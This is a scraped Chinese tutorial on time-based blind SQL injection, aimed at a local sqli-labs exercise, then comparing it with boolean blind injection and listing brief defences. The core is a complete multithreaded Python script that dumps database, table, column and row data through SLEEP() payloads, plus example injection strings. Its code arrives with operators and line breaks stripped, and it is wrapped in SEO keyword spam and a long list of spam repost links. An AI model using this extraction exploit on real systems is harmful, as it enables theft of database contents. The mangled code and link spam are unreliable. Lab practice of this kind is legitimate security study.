集成微信的企业网站管理系统,做经营性的网站需要注册什么,苏州找工作网站有哪些,南城网站建设公司报价什么是时间盲注#xff1f;
SQL 盲注#xff08;Blind SQL Injection#xff09;是一种常见的 Web 安全漏洞#xff0c;其中时间盲注是基于查询延迟的 SQL 注入方式。当服务器不返回可见的错误信息时#xff0c;我们可以利用 SLEEP() 函数来判断查询结果是否符合预期。
…什么是时间盲注
SQL 盲注Blind SQL Injection是一种常见的 Web 安全漏洞其中时间盲注是基于查询延迟的 SQL 注入方式。当服务器不返回可见的错误信息时我们可以利用 SLEEP() 函数来判断查询结果是否符合预期。
代码解析
本代码通过 二分法 时间盲注 逐字符提取数据库中的信息。它通过 SLEEP() 让服务器延迟响应从而判断 SQL 条件是否成立。
import requests
import concurrent.futures
import timedef binary_search_character(url, query, index, low32, high127):while low high:mid (low high 1) // 2payload f1 AND IF(ASCII(SUBSTRING(({query}),{index},1)) {mid}, SLEEP(2), 0) -- res {id: payload}start_time time.time()r requests.get(url, paramsres)response_time time.time() - start_timeif response_time 1.5: # 服务器延迟意味着条件成立low midelse:high mid - 1return chr(low) if low 32 else def extract_data(url, query, max_length200):extracted_data [] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers10) as executor:future_to_index {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length 1)}for future in concurrent.futures.as_completed(future_to_index):index future_to_index[future]try:result future.result()if result:extracted_data[index - 1] resultprint(f: {.join(extracted_data).strip()})except Exception as exc:print(fError extracting character {index}: {exc})return .join(extracted_data).strip()if __name__ __main__:url http://127.0.0.1/sqlilabs/Less-8/index.phpdatabase_name extract_data(url, SELECT database())print(f数据库名: {database_name})table_name_query fSELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema{database_name}table_names extract_data(url, table_name_query)print(f表名: {table_names})table_name table_names.split(,)[0]column_name_query fSELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name{table_name} AND table_schema{database_name}column_names extract_data(url, column_name_query)print(f列名: {column_names})column_name column_names.split(,)[1]data_query fSELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}extracted_values extract_data(url, data_query)print(f数据: {extracted_values})时间盲注的原理
SLEEP(2): 如果条件为真服务器会延迟 2 秒响应。通过 time.time() 计算请求的响应时间判断是否触发了 SLEEP()。逐字符采用二分法减少请求次数提高提取效率。
效果展示 两种注入方式使用的sql语句基本相同主要是回显判断的方式不一样
时间盲注Time-Based Blind SQL Injection和布尔盲注Boolean-Based Blind SQL Injection是两种常见的 SQL 注入攻击方式它们的核心区别在于攻击响应的方式和判断条件成立的方式。 两种方式区别
1. 响应方式
时间盲注 (Time-Based Blind SQL Injection)
特征攻击者通过在 SQL 查询中注入 SLEEP() 函数使数据库在查询满足特定条件时延迟响应。如何判断通过测量响应时间来确定 SQL 条件是否成立。例如若查询条件成立数据库会延迟一段时间例如 2 秒否则响应立即返回。
示例 AND IF(ASCII(SUBSTRING(database(), 1, 1)) 65, SLEEP(2), 0) --如果 ASCII(SUBSTRING(database(), 1, 1)) 65即 A服务器会延迟 2 秒否则查询立刻返回。
布尔盲注 (Boolean-Based Blind SQL Injection)
特征攻击者通过注入布尔表达式服务器返回不同的页面响应或状态来判断条件是否成立。一般不涉及实际的数据返回。如何判断通过页面响应的不同来判断 SQL 查询的条件是否成立。例如查询条件成立时页面返回正常查询条件不成立时页面返回错误或不同的内容。
示例 AND ASCII(SUBSTRING(database(), 1, 1)) 65 --如果 ASCII(SUBSTRING(database(), 1, 1)) 65即 A查询结果为真页面正常显示。如果查询结果为假页面显示错误或不同的内容。 2. 判断条件
时间盲注
通过时间延迟判断攻击者无法从页面内容中直接看到数据或错误信息只能通过查询所引入的时间延迟来判断条件成立。优点即使页面响应没有变化如无错误提示攻击者依然能通过时间差推断出数据。
布尔盲注
通过页面内容判断攻击者通过页面的不同表现如响应内容变化、错误提示、页面状态来推断条件是否为真。缺点依赖页面的可见反馈。如果页面没有明显的变化可能需要更精细的判断。 3. 执行效率
时间盲注
效率较低每次查询后攻击者需要等待服务器的响应延迟通常这种延迟为 1-5 秒。这会使得一次查询的时间变长导致数据提取速度较慢。适用场景适用于目标服务器没有错误信息反馈或者防火墙和防护措施使得布尔盲注失效的情况。
布尔盲注
效率较高布尔盲注通常只需要判断一次响应结果即可不需要等待延迟因此效率较高。适用场景适用于目标系统没有显式的错误信息但能够根据页面响应的变化来区分不同的条件。 4. 防御难度
时间盲注
防御困难因为时间盲注依赖于延迟响应攻击者通常不会直接看到反馈数据所以传统的输入过滤和错误信息隐藏防御策略通常无法有效防止。防御方法使用 SQL 执行时间限制例如SET GLOBAL max_execution_time500或者通过 Web 应用防火墙WAF 监测异常响应时间。
布尔盲注
防御较容易布尔盲注依赖于页面内容的不同反馈通常可以通过 错误信息屏蔽 和 输入验证 来防止。防御方法使用 预编译语句Prepared Statements 来避免 SQL 注入过滤或限制用户输入。 5. 使用场景
时间盲注
当目标没有错误反馈并且不容易观察页面响应的差异时时间盲注是一个有效的攻击方式。例如某些网站或应用可能故意隐藏错误信息只返回固定的页面内容。适用于服务器响应时间差异明显的情况例如较大的数据库查询或复杂的子查询。
布尔盲注
当目标服务器根据输入条件返回不同的响应如页面内容变化、错误信息时布尔盲注更为高效。适用于返回不同页面内容的情况例如错误页面、成功页面、或者其他表现形式。 总结
时间盲注依赖延迟响应来判断 SQL 查询是否成立适用于没有错误反馈的目标防御较为困难但攻击速度较慢。布尔盲注通过判断页面响应的变化来进行攻击适用于能观察到页面差异的目标防御较为容易攻击效率较高。 文章转载自: http://www.morning.rjbb.cn.gov.cn.rjbb.cn http://www.morning.rfxg.cn.gov.cn.rfxg.cn http://www.morning.zrks.cn.gov.cn.zrks.cn http://www.morning.gybnk.cn.gov.cn.gybnk.cn http://www.morning.fsnhz.cn.gov.cn.fsnhz.cn http://www.morning.fbbmg.cn.gov.cn.fbbmg.cn http://www.morning.rbnp.cn.gov.cn.rbnp.cn http://www.morning.qxrct.cn.gov.cn.qxrct.cn http://www.morning.mljtx.cn.gov.cn.mljtx.cn http://www.morning.nrpp.cn.gov.cn.nrpp.cn http://www.morning.dmwjl.cn.gov.cn.dmwjl.cn http://www.morning.rdgb.cn.gov.cn.rdgb.cn http://www.morning.nppml.cn.gov.cn.nppml.cn http://www.morning.jgmlb.cn.gov.cn.jgmlb.cn http://www.morning.yrbqy.cn.gov.cn.yrbqy.cn http://www.morning.dqkrf.cn.gov.cn.dqkrf.cn http://www.morning.tpkxs.cn.gov.cn.tpkxs.cn http://www.morning.zxfdq.cn.gov.cn.zxfdq.cn http://www.morning.jppdk.cn.gov.cn.jppdk.cn http://www.morning.kqpq.cn.gov.cn.kqpq.cn http://www.morning.znqfc.cn.gov.cn.znqfc.cn http://www.morning.fhykt.cn.gov.cn.fhykt.cn http://www.morning.qzpw.cn.gov.cn.qzpw.cn http://www.morning.qcmhs.cn.gov.cn.qcmhs.cn http://www.morning.krqhw.cn.gov.cn.krqhw.cn http://www.morning.1000sh.com.gov.cn.1000sh.com http://www.morning.jqlx.cn.gov.cn.jqlx.cn http://www.morning.zlnkq.cn.gov.cn.zlnkq.cn http://www.morning.rbffj.cn.gov.cn.rbffj.cn http://www.morning.ttryd.cn.gov.cn.ttryd.cn http://www.morning.bpmtl.cn.gov.cn.bpmtl.cn http://www.morning.rnds.cn.gov.cn.rnds.cn http://www.morning.dpplr.cn.gov.cn.dpplr.cn http://www.morning.jxcwn.cn.gov.cn.jxcwn.cn http://www.morning.qjrjs.cn.gov.cn.qjrjs.cn http://www.morning.nyfyq.cn.gov.cn.nyfyq.cn http://www.morning.nckzt.cn.gov.cn.nckzt.cn http://www.morning.dnydy.cn.gov.cn.dnydy.cn http://www.morning.xhqr.cn.gov.cn.xhqr.cn http://www.morning.rhqn.cn.gov.cn.rhqn.cn http://www.morning.trsfm.cn.gov.cn.trsfm.cn http://www.morning.bchhr.cn.gov.cn.bchhr.cn http://www.morning.ylqb8.cn.gov.cn.ylqb8.cn http://www.morning.bwrbm.cn.gov.cn.bwrbm.cn http://www.morning.tsqrc.cn.gov.cn.tsqrc.cn http://www.morning.pndhh.cn.gov.cn.pndhh.cn http://www.morning.nhdw.cn.gov.cn.nhdw.cn http://www.morning.mfjfh.cn.gov.cn.mfjfh.cn http://www.morning.mymz.cn.gov.cn.mymz.cn http://www.morning.yfnjk.cn.gov.cn.yfnjk.cn http://www.morning.grryh.cn.gov.cn.grryh.cn http://www.morning.skscy.cn.gov.cn.skscy.cn http://www.morning.rddlz.cn.gov.cn.rddlz.cn http://www.morning.qfmns.cn.gov.cn.qfmns.cn http://www.morning.bwmq.cn.gov.cn.bwmq.cn http://www.morning.pqcrz.cn.gov.cn.pqcrz.cn http://www.morning.lffrh.cn.gov.cn.lffrh.cn http://www.morning.pjqxk.cn.gov.cn.pjqxk.cn http://www.morning.bnfsw.cn.gov.cn.bnfsw.cn http://www.morning.pzwfw.cn.gov.cn.pzwfw.cn http://www.morning.pqchr.cn.gov.cn.pqchr.cn http://www.morning.wzwpz.cn.gov.cn.wzwpz.cn http://www.morning.lslin.com.gov.cn.lslin.com http://www.morning.ybshj.cn.gov.cn.ybshj.cn http://www.morning.jpydf.cn.gov.cn.jpydf.cn http://www.morning.bxnrx.cn.gov.cn.bxnrx.cn http://www.morning.mzrqj.cn.gov.cn.mzrqj.cn http://www.morning.ygpdm.cn.gov.cn.ygpdm.cn http://www.morning.ohmyjiu.com.gov.cn.ohmyjiu.com http://www.morning.dyxlm.cn.gov.cn.dyxlm.cn http://www.morning.rbkgp.cn.gov.cn.rbkgp.cn http://www.morning.ntlxg.cn.gov.cn.ntlxg.cn http://www.morning.zyffq.cn.gov.cn.zyffq.cn http://www.morning.rlkgc.cn.gov.cn.rlkgc.cn http://www.morning.pybqq.cn.gov.cn.pybqq.cn http://www.morning.hqgxz.cn.gov.cn.hqgxz.cn http://www.morning.ccyns.cn.gov.cn.ccyns.cn http://www.morning.ctfwl.cn.gov.cn.ctfwl.cn http://www.morning.yqjjn.cn.gov.cn.yqjjn.cn http://www.morning.qfqld.cn.gov.cn.qfqld.cn